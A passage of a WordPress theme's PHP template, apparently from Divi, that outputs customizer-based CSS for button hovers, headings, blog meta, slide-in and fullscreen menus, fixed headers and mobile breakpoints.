			<?php echo esc_attr( $css( 'body', '.et_pb_bg_layout_light.et_pb_button:hover' ) ); ?>,
			<?php echo esc_attr( $css( 'body', '.et_pb_bg_layout_light .et_pb_button:hover' ) ); ?>,
			<?php echo esc_attr( $css( 'body', '.et_pb_button:hover' ) ); ?> {
				<?php if ( ! empty( $button_text_color_hover ) ) { ?>
					color: <?php echo esc_html( $button_text_color_hover ); ?> !important;
				<?php } ?>
				<?php if ( 'rgba(255,255,255,0.2)' !== $button_bg_color_hover ) { ?>
					background-color: <?php echo esc_html( $button_bg_color_hover ); ?>;
				<?php } ?>
				<?php if ( 'rgba(0,0,0,0)' !== $button_border_color_hover ) { ?>
					border-color: <?php echo esc_html( $button_border_color_hover ); ?> !important;
				<?php } ?>
				<?php if ( 3 !== $button_border_radius_hover ) { ?>
					border-radius: <?php echo esc_html( $button_border_radius_hover ); ?>px;
				<?php } ?>
				<?php if ( 0 !== $button_spacing_hover ) { ?>
					letter-spacing: <?php echo esc_html( $button_spacing_hover ); ?>px;
				<?php } ?>
			}
			<?php if ( et_is_woocommerce_plugin_active() ) { ?>
				<?php echo $css( '.woocommerce', 'a.button.alt:hover' ); ?>,
				<?php echo $css( '.woocommerce-page', 'a.button.alt:hover' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button.alt:hover' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button.alt.disabled:hover' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button.alt:hover' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button.alt.disabled:hover' ); ?>,
				<?php echo $css( '.woocommerce', 'input.button.alt:hover' ); ?>,
				<?php echo $css( '.woocommerce-page', 'input.button.alt:hover' ); ?>,
				.woocommerce #respond input#submit.alt:hover,
				.woocommerce-page #respond input#submit.alt:hover,
				<?php echo $css( '.woocommerce #content', 'input.button.alt:hover' ); ?>,
				<?php echo $css( '.woocommerce-page #content', 'input.button.alt:hover' ); ?>,
				<?php echo $css( '.woocommerce', 'a.button:hover' ); ?>,
				<?php echo $css( '.woocommerce-page', 'a.button:hover' ); ?>,
				<?php echo $css( '.woocommerce', 'button.button:hover' ); ?>,
				<?php echo $css( '.woocommerce-page', 'button.button:hover' ); ?>,
				<?php echo $css( '.woocommerce', 'input.button:hover' ); ?>,
				<?php echo $css( '.woocommerce-page', 'input.button:hover' ); ?>,
				.woocommerce #respond input#submit:hover,
				.woocommerce-page #respond input#submit:hover,
				<?php echo $css( '.woocommerce #content', 'input.button:hover' ); ?>,
				<?php echo $css( '.woocommerce-page #content', 'input.button:hover' ); ?> {
					<?php if ( ! empty( $button_text_color_hover ) ) { ?>
						color: <?php echo esc_html( $button_text_color_hover ); ?> !important;
					<?php } ?>
					<?php if ( 'rgba(255,255,255,0.2)' !== $button_bg_color_hover ) { ?>
						background-color: <?php echo esc_html( $button_bg_color_hover ); ?> !important;
					<?php } ?>
					<?php if ( 'rgba(0,0,0,0)' !== $button_border_color_hover ) { ?>
						border-color: <?php echo esc_html( $button_border_color_hover ); ?> !important;
					<?php } ?>
					<?php if ( 3 !== $button_border_radius_hover ) { ?>
						border-radius: <?php echo esc_html( $button_border_radius_hover ); ?>px;
					<?php } ?>
					<?php if ( 0 !== $button_spacing_hover ) { ?>
						letter-spacing: <?php echo esc_html( $button_spacing_hover ); ?>px;
					<?php } ?>
				}
			<?php } ?>
		<?php } ?>

		<?php if ( '' !== $body_header_style || 0 !== $body_header_spacing || 1.0 !== $body_header_height ) { ?>
			<?php echo $css( 'h1' ); ?>,
			<?php echo $css( 'h2' ); ?>,
			<?php echo $css( 'h3' ); ?>,
			<?php echo $css( 'h4' ); ?>,
			<?php echo $css( 'h5' ); ?>,
			<?php echo $css( 'h6' ); ?>,
			<?php echo $css( '.et_quote_content blockquote p' ); ?>,
			<?php echo $css( '.et_pb_slide_description .et_pb_slide_title', false ); ?> {
				<?php if ( $body_header_style !== '' ) { ?>
					<?php echo esc_html( et_pb_print_font_style( $body_header_style ) ); ?>
				<?php } ?>
				<?php if ( 0 !== $body_header_spacing ) { ?>
					letter-spacing: <?php echo esc_html( $body_header_spacing ); ?>px;
				<?php } ?>

				<?php if ( 1.0 !== $body_header_height ) { ?>
					line-height: <?php echo esc_html( $body_header_height ); ?>em;
				<?php } ?>
			}
		<?php } ?>

		<?php
			/* Blog Meta */
			$et_pb_print_selectors_post_meta = "body.home-posts #left-area .et_pb_post .post-meta, body.archive #left-area .et_pb_post .post-meta, body.search #left-area .et_pb_post .post-meta, body.single #left-area .et_pb_post .post-meta";

			et_pb_print_styles_css( array(
				array(
					'key'      => 'post_meta_height',
					'type'     => 'line-height',
					'default'  => 1,
					'selector' => $et_pb_print_selectors_post_meta,
				),
				array(
					'key'      => 'post_meta_spacing',
					'type'     => 'letter-spacing',
					'default'  => 0,
					'selector' => $et_pb_print_selectors_post_meta,
				),
				array(
					'key'      => 'post_meta_style',
					'type'     => 'font-style',
					'default'  => '',
					'selector' => $et_pb_print_selectors_post_meta,
				),
			) );

			/* Blog Title */
			$et_pb_print_selectors_post_header = "body.home-posts #left-area .et_pb_post h2, body.archive #left-area .et_pb_post h2, body.search #left-area .et_pb_post h2, body.single .et_post_meta_wrapper h1";

			et_pb_print_styles_css( array(
				array(
					'key'      => 'post_header_height',
					'type'     => 'line-height',
					'default'  => 1,
					'selector' => $et_pb_print_selectors_post_header,
				),
				array(
					'key'      => 'post_header_spacing',
					'type'     => 'letter-spacing',
					'default'  => 0,
					'selector' => $et_pb_print_selectors_post_header,
				),
				array(
					'key'      => 'post_header_style',
					'type'     => 'font-style',
					'default'  => '',
					'selector' => $et_pb_print_selectors_post_header,
				),
			) );
		?>
		<?php if ( $header_style === 'slide' || $header_style === 'fullscreen' ) { ?>
			<?php if ( ! $slide_nav_show_top_bar ) { ?>
				.et_slide_menu_top { display: none; }
			<?php } ?>
			<?php if ( $accent_color !== $slide_nav_bg ) { ?>
				body #page-container .et_slide_in_menu_container { background: <?php echo esc_html( $slide_nav_bg ); ?>; }
			<?php } ?>
			<?php if ( '#ffffff' !== $slide_nav_links_color ) { ?>
				.et_slide_in_menu_container #mobile_menu_slide li span.et_mobile_menu_arrow:before,
				.et_slide_in_menu_container #mobile_menu_slide li a { color: <?php echo esc_html( $slide_nav_links_color ); ?>; }
			<?php } ?>
			<?php if ( '#ffffff' !== $slide_nav_links_color_active ) { ?>
				.et_slide_in_menu_container #mobile_menu_slide li.current-menu-item span.et_mobile_menu_arrow:before,
				.et_slide_in_menu_container #mobile_menu_slide li.current-menu-item a { color: <?php echo esc_html( $slide_nav_links_color_active ); ?>; }
			<?php } ?>
			<?php if ( 'rgba(255,255,255,0.6)' !== $slide_nav_top_color ) { ?>
				.et_slide_in_menu_container .et_slide_menu_top,
				.et_slide_in_menu_container .et_slide_menu_top a,
				.et_slide_in_menu_container .et_slide_menu_top input { color: <?php echo esc_html( $slide_nav_top_color ); ?>; }
				.et_slide_in_menu_container .et_slide_menu_top .et-search-form input,
				.et_slide_in_menu_container .et_slide_menu_top .et-search-form button#searchsubmit_header:before { color: <?php echo esc_html( $slide_nav_top_color ); ?>; }
				.et_slide_in_menu_container .et_slide_menu_top .et-search-form input::-webkit-input-placeholder { color: <?php echo esc_html( $slide_nav_top_color ); ?>; }
				.et_slide_in_menu_container .et_slide_menu_top .et-search-form input::-moz-placeholder { color: <?php echo esc_html( $slide_nav_top_color ); ?>; }
				.et_slide_in_menu_container .et_slide_menu_top .et-search-form input:-ms-input-placeholder { color: <?php echo esc_html( $slide_nav_top_color ); ?>; }
				.et_header_style_fullscreen .et_slide_in_menu_container span.mobile_menu_bar.et_toggle_fullscreen_menu:before { color: <?php echo esc_html( $slide_nav_top_color ); ?>; }
				.et_header_style_fullscreen .et_slide_menu_top .et-search-form { border-color: <?php echo esc_html( $slide_nav_top_color ); ?>; }
			<?php } ?>
			<?php if ( 'rgba(255,255,255,0.6)' !== $slide_nav_search ) { ?>
				.et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form input,
				.et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form button#searchsubmit_header:before { color: <?php echo esc_html( $slide_nav_search ); ?>; }
				.et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form input::-webkit-input-placeholder { color: <?php echo esc_html( $slide_nav_search ); ?>; }
				.et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form input::-moz-placeholder { color: <?php echo esc_html( $slide_nav_search ); ?>; }
				.et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form input:-ms-input-placeholder { color: <?php echo esc_html( $slide_nav_search ); ?>; }
			<?php } ?>
			<?php if ( 'rgba(0,0,0,0.2)' !== $slide_nav_search_bg ) { ?>
				.et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form { background: <?php echo esc_html( $slide_nav_search_bg ); ?> !important; }
			<?php } ?>
			<?php if ( 320 !== $slide_nav_width ) { ?>
				.et_header_style_slide .et_slide_in_menu_container { width: <?php echo esc_html( $slide_nav_width ); ?>px; }
			<?php } ?>
			<?php if ( '' !== $slide_nav_font_style ) { ?>
				.et_slide_in_menu_container,
				.et_slide_in_menu_container .et-search-field,
				.et_slide_in_menu_container a,
				.et_slide_in_menu_container #et-info span { <?php echo esc_html( et_pb_print_font_style( $slide_nav_font_style ) ); ?> }
			<?php } ?>
			<?php if ( 14 !== $slide_nav_font_size ) { ?>
				.et_header_style_slide .et_slide_in_menu_container .et_mobile_menu li a { font-size: <?php echo esc_html( $slide_nav_font_size ); ?>px; }
			<?php } ?>
			<?php if ( 14 !== $slide_nav_top_font_size ) { ?>
				.et_header_style_slide .et_slide_in_menu_container,
				.et_header_style_slide .et_slide_in_menu_container input.et-search-field,
				.et_header_style_slide .et_slide_in_menu_container a,
				.et_header_style_slide .et_slide_in_menu_container #et-info span,
				.et_header_style_slide .et_slide_menu_top ul.et-social-icons a,
				.et_header_style_slide .et_slide_menu_top span { font-size: <?php echo esc_html( $slide_nav_top_font_size ); ?>px; }
				.et_header_style_slide .et_slide_in_menu_container .et-search-field::-moz-placeholder { font-size: <?php echo esc_html( $slide_nav_top_font_size ); ?>px; }
				.et_header_style_slide .et_slide_in_menu_container .et-search-field::-webkit-input-placeholder { font-size: <?php echo esc_html( $slide_nav_top_font_size ); ?>px; }
				.et_header_style_slide .et_slide_in_menu_container .et-search-field:-ms-input-placeholder { font-size: <?php echo esc_html( $slide_nav_top_font_size ); ?>px; }
			<?php } ?>
			<?php if ( 30 !== $fullscreen_nav_font_size ) { ?>
				.et_header_style_fullscreen .et_slide_in_menu_container .et_mobile_menu li a { font-size: <?php echo esc_html( $fullscreen_nav_font_size ); ?>px; }
				.et_slide_in_menu_container #mobile_menu_slide li.current-menu-item a,
				.et_slide_in_menu_container #mobile_menu_slide li a { padding: <?php echo esc_html( $fullscreen_nav_font_size / 2 ); ?>px 0; }
			<?php } ?>
			<?php if ( 18 !== $fullscreen_nav_top_font_size ) { ?>
				.et_header_style_fullscreen .et_slide_in_menu_container,
				.et_header_style_fullscreen .et_slide_in_menu_container input.et-search-field,
				.et_header_style_fullscreen .et_slide_in_menu_container a,
				.et_header_style_fullscreen .et_slide_in_menu_container #et-info span,
				.et_header_style_fullscreen .et_slide_menu_top ul.et-social-icons a,
				.et_header_style_fullscreen .et_slide_menu_top span { font-size: <?php echo esc_html( $fullscreen_nav_top_font_size ); ?>px; }
				.et_header_style_fullscreen .et_slide_in_menu_container .et-search-field::-moz-placeholder { font-size: <?php echo esc_html( $fullscreen_nav_top_font_size ); ?>px; }
				.et_header_style_fullscreen .et_slide_in_menu_container .et-search-field::-webkit-input-placeholder { font-size: <?php echo esc_html( $fullscreen_nav_top_font_size ); ?>px; }
				.et_header_style_fullscreen .et_slide_in_menu_container .et-search-field:-ms-input-placeholder { font-size: <?php echo esc_html( $fullscreen_nav_top_font_size ); ?>px; }
			<?php } ?>
			<?php if ( 0 !== $slide_nav_font_spacing ) { ?>
				.et_slide_in_menu_container,
				.et_slide_in_menu_container .et-search-field { letter-spacing: <?php echo esc_html( $slide_nav_font_spacing ); ?>px; }
				.et_slide_in_menu_container .et-search-field::-moz-placeholder { letter-spacing: <?php echo esc_html( $slide_nav_font_spacing ); ?>px; }
				.et_slide_in_menu_container .et-search-field::-webkit-input-placeholder { letter-spacing: <?php echo esc_html( $slide_nav_font_spacing ); ?>px; }
				.et_slide_in_menu_container .et-search-field:-ms-input-placeholder { letter-spacing: <?php echo esc_html( $slide_nav_font_spacing ); ?>px; }
			<?php } ?>
		<?php } ?>
		@media only screen and ( min-width: 981px ) {
			<?php if ( 4 !== $section_padding ) { ?>
				<?php echo $css( '.et_pb_section', false ); ?> { padding: <?php echo esc_html( $section_padding ); ?>% 0; }
				<?php echo $css( '.et_pb_fullwidth_section', false ); ?> { padding: 0; }
			<?php } ?>
			<?php if ( 2 !== $row_padding ) { ?>
				<?php echo $css( '.et_pb_row', false ); ?> { padding: <?php echo esc_html( $row_padding ); ?>% 0; }
			<?php } ?>
			<?php if ( intval( $body_header_size * .6 ) !== $widget_header_font_size ) { ?>
				#main-footer .footer-widget h4,
				#main-footer .widget_block h1,
				#main-footer .widget_block h2,
				#main-footer .widget_block h3,
				#main-footer .widget_block h4,
				#main-footer .widget_block h5,
				#main-footer .widget_block h6 { font-size: <?php echo esc_html( $widget_header_font_size ); ?>px; }
			<?php } ?>
			<?php if ( 66 !== $menu_height ) { ?>
				.et_header_style_left #et-top-navigation, .et_header_style_split #et-top-navigation  { padding: <?php echo esc_html( round( $menu_height / 2 ) ); ?>px 0 0 0; }
				.et_header_style_left #et-top-navigation nav > ul > li > a, .et_header_style_split #et-top-navigation nav > ul > li > a { padding-bottom: <?php echo esc_html( round ( $menu_height / 2 ) ); ?>px; }
				.et_header_style_split .centered-inline-logo-wrap { width: <?php echo esc_html( $menu_height ); ?>px; margin: -<?php echo esc_html( $menu_height ); ?>px 0; }
				.et_header_style_split .centered-inline-logo-wrap #logo { max-height: <?php echo esc_html( $menu_height ); ?>px; }
				.et_pb_svg_logo.et_header_style_split .centered-inline-logo-wrap #logo { height: <?php echo esc_html( $menu_height ); ?>px; }
				.et_header_style_centered #top-menu > li > a { padding-bottom: <?php echo esc_html( round ( $menu_height * .18 ) ); ?>px; }
				.et_header_style_slide #et-top-navigation, .et_header_style_fullscreen #et-top-navigation { padding: <?php echo esc_html( round( ( $menu_height - 18 ) / 2 ) ); ?>px 0 <?php echo esc_html( round( ( $menu_height - 18 ) / 2 ) ); ?>px 0 !important; }
				<?php if ( ! $vertical_nav ) { ?>
					.et_header_style_centered #main-header .logo_container { height: <?php echo esc_html( $menu_height ); ?>px; }
				<?php } ?>
			<?php } ?>
			<?php if ( 54 !== $logo_height && in_array( $header_style, array( 'left', 'slide', 'fullscreen' ) ) ) { ?>
				#logo { max-height: <?php echo esc_html( $logo_height . '%' ); ?>; }
				.et_pb_svg_logo #logo { height: <?php echo esc_html( $logo_height . '%' ); ?>; }
			<?php } ?>
			<?php if ( 64 !== $logo_height && 'centered' === $header_style ) { ?>
				.et_header_style_centered #logo { max-height: <?php echo esc_html( $logo_height . '%' ); ?>; }
				.et_pb_svg_logo.et_header_style_centered #logo { height: <?php echo esc_html( $logo_height . '%' ); ?>; }
			<?php } ?>
			<?php if ( $vertical_nav && et_get_option( 'logo_height' ) ) { ?>
				#main-header .logo_container { width: <?php echo esc_html( $logo_height . '%' ); ?>; }
				.et_header_style_centered #main-header .logo_container,
				.et_header_style_split #main-header .logo_container { margin: 0 auto; }
			<?php } ?>
			<?php if ( $vertical_nav && 0 !== $menu_margin_top ) { ?>
				.et_vertical_nav #et-top-navigation { margin-top: <?php echo esc_html( $menu_margin_top . 'px' ); ?>;}
			<?php } ?>
			<?php if ( 'false' !== $hide_primary_logo || 'false' !== $hide_fixed_logo ) { ?>
				.et_header_style_centered.et_hide_primary_logo #main-header:not(.et-fixed-header) .logo_container, .et_header_style_centered.et_hide_fixed_logo #main-header.et-fixed-header .logo_container { height: <?php echo esc_html( $menu_height * .18 ); ?>px; }
			<?php } ?>
			<?php if ( 40 !== $fixed_menu_height ) { ?>
				.et_header_style_left .et-fixed-header #et-top-navigation, .et_header_style_split .et-fixed-header #et-top-navigation { padding: <?php echo esc_html( intval( round( $fixed_menu_height / 2 ) ) ); ?>px 0 0 0; }
				.et_header_style_left .et-fixed-header #et-top-navigation nav > ul > li > a, .et_header_style_split .et-fixed-header #et-top-navigation nav > ul > li > a  { padding-bottom: <?php echo esc_html( round( $fixed_menu_height / 2 ) ); ?>px; }
				.et_header_style_centered header#main-header.et-fixed-header .logo_container { height: <?php echo esc_html( $fixed_menu_height ); ?>px; }
				.et_header_style_split #main-header.et-fixed-header .centered-inline-logo-wrap { width: <?php echo esc_html( $fixed_menu_height ); ?>px; margin: -<?php echo esc_html( $fixed_menu_height ); ?>px 0;  }
				.et_header_style_split .et-fixed-header .centered-inline-logo-wrap #logo { max-height: <?php echo esc_html( $fixed_menu_height ); ?>px; }
				.et_pb_svg_logo.et_header_style_split .et-fixed-header .centered-inline-logo-wrap #logo { height: <?php echo esc_html( $fixed_menu_height ); ?>px; }
				.et_header_style_slide .et-fixed-header #et-top-navigation, .et_header_style_fullscreen .et-fixed-header #et-top-navigation { padding: <?php echo esc_html( round( ( $fixed_menu_height - 18 ) / 2 ) ); ?>px 0 <?php echo esc_html( round( ( $fixed_menu_height - 18 ) / 2 ) ); ?>px 0 !important; }
			<?php } ?>
			<?php if ( 54 !== $logo_height && 'split' === $header_style ) { ?>
				.et_header_style_split #main-header .centered-inline-logo-wrap { width: auto; height: <?php echo esc_html( ( ( intval( $menu_height ) / 100 ) * $logo_height ) + 14 ); ?>px; }
				.et_header_style_split #main-header.et-fixed-header .centered-inline-logo-wrap { width: auto; height: <?php echo esc_html( ( ( intval( $fixed_menu_height ) / 100 ) * $logo_height ) + 14 ); ?>px; }
				.et_header_style_split .centered-inline-logo-wrap #logo,
				.et_header_style_split .et-fixed-header .centered-inline-logo-wrap #logo { height: auto; max-height: 100%; }

			<?php } ?>
			<?php if ( $fixed_secondary_nav_bg !== '#2ea3f2' ) { ?>
				.et_fixed_nav #page-container .et-fixed-header#top-header { background-color: <?php echo esc_html( $fixed_secondary_nav_bg ); ?> !important; }
				.et_fixed_nav #page-container .et-fixed-header#top-header #et-secondary-nav li ul { background-color: <?php echo esc_html( $fixed_secondary_nav_bg ); ?>; }
			<?php } ?>
			<?php if ( $fixed_primary_nav_bg !== $primary_nav_bg ) { ?>
				.et-fixed-header#main-header, .et-fixed-header#main-header .nav li ul, .et-fixed-header .et-search-form { background-color: <?php echo esc_html( $fixed_primary_nav_bg ); ?>; }
			<?php } ?>
			<?php if ( $fixed_primary_nav_font_size !== $primary_nav_font_size ) { ?>
				.et-fixed-header #top-menu li a { font-size: <?php echo esc_html( $fixed_primary_nav_font_size ); ?>px; }
			<?php } ?>
			<?php if ( $fixed_menu_link !== 'rgba(0,0,0,0.6)' ) { ?>
				.et-fixed-header #top-menu a, .et-fixed-header #et_search_icon:before, .et-fixed-header #et_top_search .et-search-form input, .et-fixed-header .et_search_form_container input, .et-fixed-header .et_close_search_field:after, .et-fixed-header #et-top-navigation .et-cart-info { color: <?php echo esc_html( $fixed_menu_link ); ?> !important; }
				.et-fixed-header .et_search_form_container input::-moz-placeholder { color: <?php echo esc_html( $fixed_menu_link ); ?> !important; }
				.et-fixed-header .et_search_form_container input::-webkit-input-placeholder { color: <?php echo esc_html( $fixed_menu_link ); ?> !important; }
				.et-fixed-header .et_search_form_container input:-ms-input-placeholder { color: <?php echo esc_html( $fixed_menu_link ); ?> !important; }
			<?php } ?>
			<?php if ( $fixed_menu_link_active !== '#2ea3f2' ) { ?>
				.et-fixed-header #top-menu li.current-menu-ancestor > a,
				.et-fixed-header #top-menu li.current-menu-item > a,
				.et-fixed-header #top-menu li.current_page_item > a { color: <?php echo esc_html( $fixed_menu_link_active ); ?> !important; }
			<?php } ?>
			<?php if ( '#ffffff' !== $fixed_secondary_menu_link ) { ?>
				.et-fixed-header#top-header a { color: <?php echo esc_html( $fixed_secondary_menu_link ); ?>; }
			<?php } ?>

			<?php
				/* Blog Meta & Title */
				et_pb_print_styles_css( array(
					array(
						'key'      => 'post_meta_font_size',
						'type'     => 'font-size',
						'default'  => 14,
						'selector' => $et_pb_print_selectors_post_meta,
					),
					array(
						'key'      => 'post_header_font_size',
						'type'     => 'font-size-post-header',
						'default'  => 30,
						'selector' => '',
					),
				) );
			?>
		}

		@media only screen and ( min-width: <?php echo esc_html( $large_content_width ); ?>px) {
			<?php echo $css( '.et_pb_row', false ); ?> { padding: <?php echo esc_html( intval( $large_content_width * $row_padding / 100 ) ); ?>px 0; }
			<?php echo $css( '.et_pb_section', false ); ?> { padding: <?php echo esc_html( intval( $large_content_width * $section_padding / 100 ) ); ?>px 0; }
			.single.et_pb_pagebuilder_layout.et_full_width_page .et_post_meta_wrapper { padding-top: <?php echo esc_html( intval( $large_content_width * $row_padding / 100 * 3 ) ); ?>px; }
			<?php echo $css( '.et_pb_fullwidth_section', false ); ?> { padding: 0; }
		}

		<?php if ( 30 !== $body_header_size ) { ?>
			<?php echo $css( 'h1' ); ?>,
			<?php echo $css( 'h1.et_pb_contact_main_title' ); ?>,
			<?php echo $css( '.et_pb_title_container h1' ); ?> {
				font-size: <?php echo esc_html( $body_header_size ); ?>px;
			}
			<?php echo $css( 'h2' ); ?>,
			<?php echo $css( '.product .related h2' ); ?>,
			<?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote p', false ); ?> {
				font-size: <?php echo esc_html( intval( $body_header_size * .86 ) ) ; ?>px;
			}
			<?php echo $css( 'h3' ); ?> {
				font-size: <?php echo esc_html( intval( $body_header_size * .73 ) ); ?>px;
			}
			<?php echo $css( 'h4' ); ?>,
			<?php echo $css( '.et_pb_circle_counter h3', false ); ?>,
			<?php echo $css( '.et_pb_number_counter h3', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_pb_post h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_pb_post h2', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote p', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote p', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote p', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote p', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_link_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_link_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_link_content h2', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid .et_link_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_audio_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_audio_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_audio_content h2', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid .et_audio_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_pb_audio_module_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_pb_audio_module_content h2', false ); ?>,
			<?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>,
			<?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
			<?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?> {
				font-size: <?php echo esc_html( intval( $body_header_size * .6 ) ); ?>px;
			}
			<?php echo $css( 'h5' ); ?> {
				font-size: <?php echo esc_html( intval( $body_header_size * .53 ) ); ?>px;
			}
			<?php echo $css( 'h6' ); ?> {
				font-size: <?php echo esc_html( intval( $body_header_size * .47 ) ); ?>px;
			}
			<?php echo $css( '.et_pb_slide_description .et_pb_slide_title', false ); ?> {
				font-size: <?php echo esc_html( intval( $body_header_size * 1.53 ) ); ?>px;
			}
			<?php if ( et_is_woocommerce_plugin_active() ) { ?>
				<?php echo $css( '.woocommerce', 'ul.products li.product h3' ); ?>,
				<?php echo $css( '.woocommerce-page', 'ul.products li.product h3' ); ?>,
			<?php } ?>
			<?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>,
			<?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
			<?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_pb_audio_module_content h2', false ); ?> {
				font-size: <?php echo esc_html( intval( $body_header_size * .53 ) ); ?>px;
			}
		<?php } ?>

		<?php if ( 500 !== $heading_font_weight ) { ?>
			<?php // phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Following the existing standards ?>
			<?php echo $css( 'h1' ); ?>,
			<?php echo $css( 'h1.et_pb_contact_main_title' ); ?>,
			<?php echo $css( '.et_pb_title_container h1' ); ?> {
				font-weight: <?php echo esc_html( $heading_font_weight ); ?>;
			}
			<?php echo $css( 'h2' ); ?>,
			<?php echo $css( '.product .related h2' ); ?>,
			<?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote p', false ); ?> {
				font-weight: <?php echo esc_html( $heading_font_weight ); ?>;
			}
			<?php echo $css( 'h3' ); ?> {
				font-weight: <?php echo esc_html( $heading_font_weight ); ?>;
			}
			<?php echo $css( 'h4' ); ?>,
			<?php echo $css( '.et_pb_circle_counter h3', false ); ?>,
			<?php echo $css( '.et_pb_number_counter h3', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_pb_post h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_pb_post h2', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote p', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote p', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote p', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote p', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_link_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_link_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_link_content h2', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid .et_link_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_audio_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_audio_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_audio_content h2', false ); ?>,
			<?php echo $css( '.et_pb_blog_grid .et_audio_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_3_8 .et_pb_audio_module_content h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_3 .et_pb_audio_module_content h2', false ); ?>,
			<?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>,
			<?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
			<?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?> {
				font-weight: <?php echo esc_html( $heading_font_weight ); ?>;
			}
			<?php echo $css( 'h5' ); ?> {
				font-weight: <?php echo esc_html( $heading_font_weight ); ?>;
			}
			<?php echo $css( 'h6' ); ?> {
				font-weight: <?php echo esc_html( $heading_font_weight ); ?>;
			}
			<?php echo $css( '.et_pb_slide_description .et_pb_slide_title', false ); ?> {
				font-weight: <?php echo esc_html( $heading_font_weight ); ?>;
			}
			<?php if ( et_is_woocommerce_plugin_active() ) { ?>
				<?php echo $css( '.woocommerce', 'ul.products li.product h3' ); ?>,
				<?php echo $css( '.woocommerce-page', 'ul.products li.product h3' ); ?>,
			<?php } ?>
			<?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>,
			<?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
			<?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
			<?php echo $css( '.et_pb_column_1_4 .et_pb_audio_module_content h2', false ); ?> {
				font-weight: <?php echo esc_html( $heading_font_weight ); ?>;
			}
			<?php // phpcs:enable WordPress.Security.EscapeOutput.OutputNotEscaped -- Following the existing standards ?>
		<?php } ?>

		@media only screen and ( max-width: 980px ) {
			<?php if ( $mobile_primary_nav_bg !== $primary_nav_bg ) { ?>
				#main-header, #main-header .nav li ul, .et-search-form, #main-header .et_mobile_menu { background-color: <?php echo esc_html( $mobile_primary_nav_bg ); ?>; }
			<?php } ?>
			<?php if ( $menu_link !== $mobile_menu_link ) { ?>
				.et_header_style_centered .mobile_nav .select_page, .et_header_style_split .mobile_nav .select_page, .et_mobile_menu li a, .mobile_menu_bar:before, .et_nav_text_color_light #top-menu > li > a, .et_nav_text_color_dark #top-menu > li > a, #top-menu a, .et_mobile_menu li a, #et_search_icon:before, #et_top_search .et-search-form input, .et_search_form_container input, #et-top-navigation .et-cart-info { color: <?php echo esc_html( $mobile_menu_link ); ?>; }
				.et_close_search_field:after { color: <?php echo esc_html( $mobile_menu_link ); ?> !important; }
				.et_search_form_container input::-moz-placeholder { color: <?php echo esc_html( $mobile_menu_link ); ?>; }
				.et_search_form_container input::-webkit-input-placeholder { color: <?php echo esc_html( $mobile_menu_link ); ?>; }
				.et_search_form_container input:-ms-input-placeholder { color: <?php echo esc_html( $mobile_menu_link ); ?>; }
			<?php } ?>
